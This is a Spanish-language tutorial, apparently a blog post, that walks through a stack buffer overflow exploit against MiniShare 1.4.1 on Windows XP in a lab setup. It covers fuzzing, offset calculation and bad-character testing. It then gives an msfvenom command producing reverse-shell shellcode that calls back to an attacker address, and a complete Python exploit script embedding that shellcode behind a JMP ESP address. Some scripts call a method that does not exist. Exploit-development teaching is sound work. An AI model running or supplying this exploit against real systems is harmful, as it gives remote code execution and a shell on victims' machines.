Stack-Buffer Overflow [Windows x86] (Part II)
El 20 de febrero de 2022 publiqué mi primer artículo sobre cómo abordar una explotación de Buffer Overflow de manera exitosa, además de comprender los conceptos básicos para su desempeño en sistemas operativos GNU/Linux.
Hoy traigo la parte dos de esta saga. En este artículo explicaré de manera detallada la explotación de BoF en sistemas operativos Windows de 32 bits.
Llevaremos a cabo nuestras pruebas utilizando el software Minishare, concretamente la versión 1.4.1. Este programa actúa como servidor HTTP simple para intercambiar archivos de manera sencilla y eficaz entre múltiples usuarios en red.
Este software permite a los atacantes obtener ejecución remota de comandos a través de una consulta HTTP malintencionada vía GET, POST o incluso HEAD. Este problema surge debido a una verificación incorrecta del input del usuario.
En el laboratorio de hoy aprovecharemos esta vulnerabilidad para ganar acceso a la máquina víctima a través de una petición GET preparada.
Material necesario:
- Windows XP (32 bits) [Victima]
- GNU/Linux (32/64 bits) [Atacante]
- Minishare 1.4.1
- Immunity Debugger
- mona.py
- Python2 / Python3
Para esta prueba de concepto, no tendremos activado ASLR (Address Space Layout Randomization), y de la misma manera, tampoco tendremos DEP (Data Execution Prevention).
Una vez que tengamos todos los requisitos preparados, comenzaremos iniciando Immunity Debugger y posteriormente Minishare en nuestro Windows XP. Luego, pulsaremos CTRL + F1 para vincularnos con este.
Este es el aspecto resultante (4 ventanas):
- Instrucciones de CPU [1 ventana]
- Registros y flags [2 ventana]
- Volcado de memoria [3 ventana]
- Pila [4 ventana]
En este punto, ya podemos comenzar a trabajar. El primer paso será crear un “fuzzer” para determinar el número de bytes a enviar antes de que el programa se corrompa.
Para ello, he creado un pequeño script en Python 3:
#!/usr/bin/python3
import socket
from dataclasses import dataclass
from sys import exit
import signal
from pwn import *
def def_handler(sig,frame): # Función para controlar la interrupcion del script
print("\nSaliendo...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Fuzzer:
http_method: str
buff: str
http_header: str
ip: str
def fuzzerhttp(self):
p1 = log.progress("Fuzzer")
while True: # Bucle infinito para enviar mutliples bytes
self.buff = self.buff+"\x41"*100
buff_final = self.http_method + self.buff + self.http_header
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creacion del socket
sock.connect((self.ip, 80))
p1.status(f"Probing with {len(self.buff)} bytes")
sock.send(buff_final.encode()) # Envio de X bytes a través del socket
sock.recv(1024)
sock.close()
except: # Exepcion para controlar el crasheo del programa
p1.success(f"Crashed with {len(self.buff)} bytes")
exit()
fuzzer = Fuzzer("GET ", "", " HTTP/1.1\r\n\r\n", "192.168.1.140") # Definición de variables
def main():
fuzzer.offset()
if __name__ == '__main__':
main()
Este script enviará 100 caracteres ‘A’ representados en hexadecimal como \x41
cada cierto intervalo de tiempo hasta encontrar el número máximo de bytes en el que el programa se corrompa.
Podemos comprender mejor el funcionamiento de este script si enviamos solo 100 bytes e imprimimos el resultado.
#!/usr/bin/python3
import socket
from dataclasses import dataclass
from sys import exit
import signal
from pwn import *
def def_handler(sig,frame): # Función para controlar la interrupcion del script
print("\nSaliendo...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Fuzzer:
http_method: str
buff: str
http_header: str
ip: str
def fuzzerhttp(self):
self.buff = self.buff+"\x41"*100
buff_final = self.http_method + self.buff + self.http_header
print(buff_final)
fuzzer = Fuzzer("GET ", "", " HTTP/1.1\r\n\r\n", "192.168.1.140") # Definición de variables
def main():
fuzzer.offset()
if __name__ == '__main__':
main()
Resultado:
Con el bucle infinito, estaremos enviando constantemente 100 bytes hasta que se genere una excepción y, por consiguiente, el programa se corrompa.
A continuación, adjunto un video que muestra el funcionamiento del script:
Según el fuzzer, el programa se corrompe entre 1700 y 1800 bytes. Sin embargo, necesitamos conocer el número exacto de bytes antes de sobrescribir el registro EIP. Para lograr esto, podemos generar una cadena preparada utilizando una utilidad llamada mona.py.
Nota: 1800 -> N° de Bytes en que corrompe el programa
Es importante tener en cuenta que no es recomendable copiar directamente la cadena preparada. Existe una mejor manera de obtenerla y es mediante el archivo .txt
generado por Immunity Debugger en la siguiente ruta: C:\Program Files\Immunity Inc\Immunity Debugger
.
Lo abrimos y copiamos el ASCII.
Una vez que tengamos esta cadena, podremos calcular de manera exacta el desplazamiento (offset).
Con la base que hemos utilizado anteriormente, he creado este script en Python 3:
#!/usr/bin/python3
import socket
from dataclasses import dataclass
from sys import exit
import signal
from pwn import *
def def_handler(sig,frame):
print("\nSaliendo...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Offset:
http_method: str
buff: str
http_header: str
ip: str
def offset_calc(self):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.ip, 80))
self.buff += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'
buff_final = self.http_method + self.buff + self.http_header
sock.send(buff_final.encode())
sock.recv(1024)
sock.close()
offset = Offset("GET ", "", " HTTP/1.1\r\n\r\n", "192.168.1.140")
def main():
offset.offset_calc()
if __name__ == '__main__':
main()
Este script simplemente se conecta al servidor y envía la cadena preparada que contiene 1800 bytes.
Como es de esperar, cuando se envían esos 1800 bytes, el programa se corrompe.
En este punto, simplemente debemos tomar nota de la dirección que se muestra en el registro EIP después de que el programa se corrompa.
Ahora, podemos utilizar la herramienta mona.py para calcular el número exacto de bytes necesarios antes de sobrescribir el registro EIP.
¡Excelente! Entonces, necesitamos un total de 1787 bytes antes de sobrescribir el registro EIP.
En este punto, es importante tener en cuenta un concepto clave. Existen ciertos caracteres que son considerados “malos” o inválidos y pueden causarnos problemas al representar el shellcode
. Estos caracteres son los siguientes:
\x00
: Byte nulo.\x0A
: Salto de línea (line feed).\x0D
: Retorno de carro (carriage return).\xFF
: Salto de formato (format string).
Nota: Los mas comúnes suelen ser
\x00
y\x0D
.
Podemos detectarlos utilizando una funcionalidad de mona.py
llamada bytearray
que nos permite generar una cadena con todos los posibles bytes.
De igual manera que antes, podemos copiar la cadena preparada desde el archivo txt que se genera en C:\Program Files\Immunity Inc\Immunity Debugger.
Ahora, vamos a realizar una prueba utilizando esta cadena. Para ello, he creado otro pequeño script en Python 3 que abordará esta situación. Aquí tienes el código:
#!/usr/bin/python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.140',80))
metodo_http = "GET "
buff = "A"*1787 + "B"*4 + "C"*400
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buff = buff+badchars
cabecera_http=" HTTP/1.1\r\n\r\n"
buff_final = metodo_http+buff+cabecera_http
sock.send(buff_final.encode())
sock.recv(1024)
sock.close()
Este script envía una secuencia de 1787 caracteres ‘A’ seguidos de 4 caracteres ‘B’, 400 caracteres ‘C’ y, finalmente, la cadena generada por mona.py. Una vez ejecutado el script, podemos observar que el valor del registro EIP corresponde a 4 bytes representados por \x42, que en hexadecimal es el caracter ‘B’.
Hasta aquí todo bien. Si observamos el volcado del registro ESP utilizando la función “Follow in Dump”, podremos ver la representación de los bytes almacenados en esa área de memoria.
Nota: Nos interesa el registro ESP porque es donde se encuentran almacenados todos los bytes generados por mona.py.
Como podemos apreciar, no se representan todos los bytes correctamente debido a que algunos son inválidos. Para solucionar este problema, simplemente debemos eliminar los bytes que no se pueden representar adecuadamente. En este caso, el byte \x0B
no se muestra correctamente en el volcado del registro ESP, por lo tanto, debemos eliminarlo de nuestro script y volver a ejecutarlo para obtener una representación precisa de la cadena.
De la misma manera no vemos \x0d
, por lo que debemos eliminarlo, vamos a probar ahora.
Muy bien, ahora logramos representar todos los bytes sin problemas, eliminando los caracteres inválidos encontrados.
El siguiente paso consiste en buscar una dirección que realice un salto (jmp
) a la ubicación del registro ESP, ya que allí es donde se encuentra nuestro shellcode
. Para realizar esta búsqueda, podemos utilizar mona.py
.
Nota: Es importante mencionar que debemos elegir una direccion de las DLL’s que este en system32
¡Genial! Estamos llegando al final del proceso. Debemos generar un shellcode que nos permita obtener una shell, podemos utilizar la herramienta msfvenom
de Metasploit Framework.
-/$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.139 lport=443 -b "\x00\x0d" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf = b""
buf += b"\xda\xc8\xd9\x74\x24\xf4\xbd\x9d\x3a\xd4\xc4\x5f"
buf += b"\x29\xc9\xb1\x52\x31\x6f\x17\x83\xc7\x04\x03\xf2"
buf += b"\x29\x36\x31\xf0\xa6\x34\xba\x08\x37\x59\x32\xed"
buf += b"\x06\x59\x20\x66\x38\x69\x22\x2a\xb5\x02\x66\xde"
buf += b"\x4e\x66\xaf\xd1\xe7\xcd\x89\xdc\xf8\x7e\xe9\x7f"
buf += b"\x7b\x7d\x3e\x5f\x42\x4e\x33\x9e\x83\xb3\xbe\xf2"
buf += b"\x5c\xbf\x6d\xe2\xe9\xf5\xad\x89\xa2\x18\xb6\x6e"
buf += b"\x72\x1a\x97\x21\x08\x45\x37\xc0\xdd\xfd\x7e\xda"
buf += b"\x02\x3b\xc8\x51\xf0\xb7\xcb\xb3\xc8\x38\x67\xfa"
buf += b"\xe4\xca\x79\x3b\xc2\x34\x0c\x35\x30\xc8\x17\x82"
buf += b"\x4a\x16\x9d\x10\xec\xdd\x05\xfc\x0c\x31\xd3\x77"
buf += b"\x02\xfe\x97\xdf\x07\x01\x7b\x54\x33\x8a\x7a\xba"
buf += b"\xb5\xc8\x58\x1e\x9d\x8b\xc1\x07\x7b\x7d\xfd\x57"
buf += b"\x24\x22\x5b\x1c\xc9\x37\xd6\x7f\x86\xf4\xdb\x7f"
buf += b"\x56\x93\x6c\x0c\x64\x3c\xc7\x9a\xc4\xb5\xc1\x5d"
buf += b"\x2a\xec\xb6\xf1\xd5\x0f\xc7\xd8\x11\x5b\x97\x72"
buf += b"\xb3\xe4\x7c\x82\x3c\x31\xd2\xd2\x92\xea\x93\x82"
buf += b"\x52\x5b\x7c\xc8\x5c\x84\x9c\xf3\xb6\xad\x37\x0e"
buf += b"\x51\x12\x6f\x11\x2a\xfa\x72\x11\x2d\x40\xfb\xf7"
buf += b"\x47\xa6\xaa\xa0\xff\x5f\xf7\x3a\x61\x9f\x2d\x47"
buf += b"\xa1\x2b\xc2\xb8\x6c\xdc\xaf\xaa\x19\x2c\xfa\x90"
buf += b"\x8c\x33\xd0\xbc\x53\xa1\xbf\x3c\x1d\xda\x17\x6b"
buf += b"\x4a\x2c\x6e\xf9\x66\x17\xd8\x1f\x7b\xc1\x23\x9b"
buf += b"\xa0\x32\xad\x22\x24\x0e\x89\x34\xf0\x8f\x95\x60"
buf += b"\xac\xd9\x43\xde\x0a\xb0\x25\x88\xc4\x6f\xec\x5c"
buf += b"\x90\x43\x2f\x1a\x9d\x89\xd9\xc2\x2c\x64\x9c\xfd"
buf += b"\x81\xe0\x28\x86\xff\x90\xd7\x5d\x44\xa0\x9d\xff"
buf += b"\xed\x29\x78\x6a\xac\x37\x7b\x41\xf3\x41\xf8\x63"
buf += b"\x8c\xb5\xe0\x06\x89\xf2\xa6\xfb\xe3\x6b\x43\xfb"
buf += b"\x50\x8b\x46"
Nota: Imporante incluir los badchars encontrados anteriormente para evitarlos en el
shellcode
Perfecto, ahora que tenemos el shellcode, el siguiente paso es crear el exploit
que utilizará ese shellcode para explotar la vulnerabilidad y obtener una shell remota.
#!/usr/bin/python3
from pwn import *
from sys import exit
from dataclasses import dataclass
import socket
import signal
def def_handler(sig,frame):
print("\nSaliendo...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
@dataclass
class Exploit():
ip: str
port: int
http_header: str
http_method: str
def shellcode_req(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.ip, self.port))
buf = b""
buf += b"\xda\xda\xd9\x74\x24\xf4\x5b\xbf\x4d\xb9\xdc\x50"
buf += b"\x2b\xc9\xb1\x52\x83\xeb\xfc\x31\x7b\x13\x03\x36"
buf += b"\xaa\x3e\xa5\x34\x24\x3c\x46\xc4\xb5\x21\xce\x21"
buf += b"\x84\x61\xb4\x22\xb7\x51\xbe\x66\x34\x19\x92\x92"
buf += b"\xcf\x6f\x3b\x95\x78\xc5\x1d\x98\x79\x76\x5d\xbb"
buf += b"\xf9\x85\xb2\x1b\xc3\x45\xc7\x5a\x04\xbb\x2a\x0e"
buf += b"\xdd\xb7\x99\xbe\x6a\x8d\x21\x35\x20\x03\x22\xaa"
buf += b"\xf1\x22\x03\x7d\x89\x7c\x83\x7c\x5e\xf5\x8a\x66"
buf += b"\x83\x30\x44\x1d\x77\xce\x57\xf7\x49\x2f\xfb\x36"
buf += b"\x66\xc2\x05\x7f\x41\x3d\x70\x89\xb1\xc0\x83\x4e"
buf += b"\xcb\x1e\x01\x54\x6b\xd4\xb1\xb0\x8d\x39\x27\x33"
buf += b"\x81\xf6\x23\x1b\x86\x09\xe7\x10\xb2\x82\x06\xf6"
buf += b"\x32\xd0\x2c\xd2\x1f\x82\x4d\x43\xfa\x65\x71\x93"
buf += b"\xa5\xda\xd7\xd8\x48\x0e\x6a\x83\x04\xe3\x47\x3b"
buf += b"\xd5\x6b\xdf\x48\xe7\x34\x4b\xc6\x4b\xbc\x55\x11"
buf += b"\xab\x97\x22\x8d\x52\x18\x53\x84\x90\x4c\x03\xbe"
buf += b"\x31\xed\xc8\x3e\xbd\x38\x5e\x6e\x11\x93\x1f\xde"
buf += b"\xd1\x43\xc8\x34\xde\xbc\xe8\x37\x34\xd5\x83\xc2"
buf += b"\xdf\x1a\xfb\xcd\x94\xf3\xfe\xcd\xab\xb8\x76\x2b"
buf += b"\xc1\xae\xde\xe4\x7e\x56\x7b\x7e\x1e\x97\x51\xfb"
buf += b"\x20\x13\x56\xfc\xef\xd4\x13\xee\x98\x14\x6e\x4c"
buf += b"\x0e\x2a\x44\xf8\xcc\xb9\x03\xf8\x9b\xa1\x9b\xaf"
buf += b"\xcc\x14\xd2\x25\xe1\x0f\x4c\x5b\xf8\xd6\xb7\xdf"
buf += b"\x27\x2b\x39\xde\xaa\x17\x1d\xf0\x72\x97\x19\xa4"
buf += b"\x2a\xce\xf7\x12\x8d\xb8\xb9\xcc\x47\x16\x10\x98"
buf += b"\x1e\x54\xa3\xde\x1e\xb1\x55\x3e\xae\x6c\x20\x41"
buf += b"\x1f\xf9\xa4\x3a\x7d\x99\x4b\x91\xc5\xa9\x01\xbb"
buf += b"\x6c\x22\xcc\x2e\x2d\x2f\xef\x85\x72\x56\x6c\x2f"
buf += b"\x0b\xad\x6c\x5a\x0e\xe9\x2a\xb7\x62\x62\xdf\xb7"
buf += b"\xd1\x83\xca"
buff = b"A" * 1787 + p32(0x7E6B30EB) + b"\x90" * 20 + buf
buff_final = self.http_method.encode() + buff + self.http_header.encode()
sock.send(buff_final)
sock.recv(1024)
sock.close()
except ConnectionError:
print("\nConnection socket failed\n")
exit(1)
exploit = Exploit("192.168.1.140", 80, " HTTP/1.1\r\n\r\n", "GET ")
def main():
exploit.shellcode_req()
if __name__ == "__main__":
main()
Este exploit seguira el siguiente flujo.
AAAAAAAAAA.... → \xeb\x30\x6b\7e → \x90\x90\x90\x90... → \xda\xda\xd9\x74\x24\xf4\x5b\x...
↥ ↥ ↥ ↥
\x41 jmp esp (EIP) NOPS shellcode
- Comenzamos con una secuencia de caracteres “A” que llenará el buffer.
- A continuación, tenemos una instrucción
jmp esp
representada por los bytes\xeb\x30\x6b\x7e
. Esta instrucción saltará a la dirección de memoria donde se encuentra el registro ESP, lo que nos permitirá redirigir la ejecución del programa a nuestro shellcode. - Luego, utilizamos bytes \x90\x90\x90\x90 para representar una serie de instrucciones NOP (No Operation). Estas instrucciones no hacen nada y se utilizan para crear un espacio entre el salto y el shellcode, para asegurarnos de que la ejecución llegue al shellcode correctamente.
- Por último, tenemos el shellcode representado por los bytes \xda\xda\xd9\x74\x24\xf4\x5b\x…. El shellcode es el código que ejecutará nuestra acción deseada, en este caso, obtener una shell remota.
A continuación, adjunto un video que muestra el funcionamiento del exploit.
Leave a comment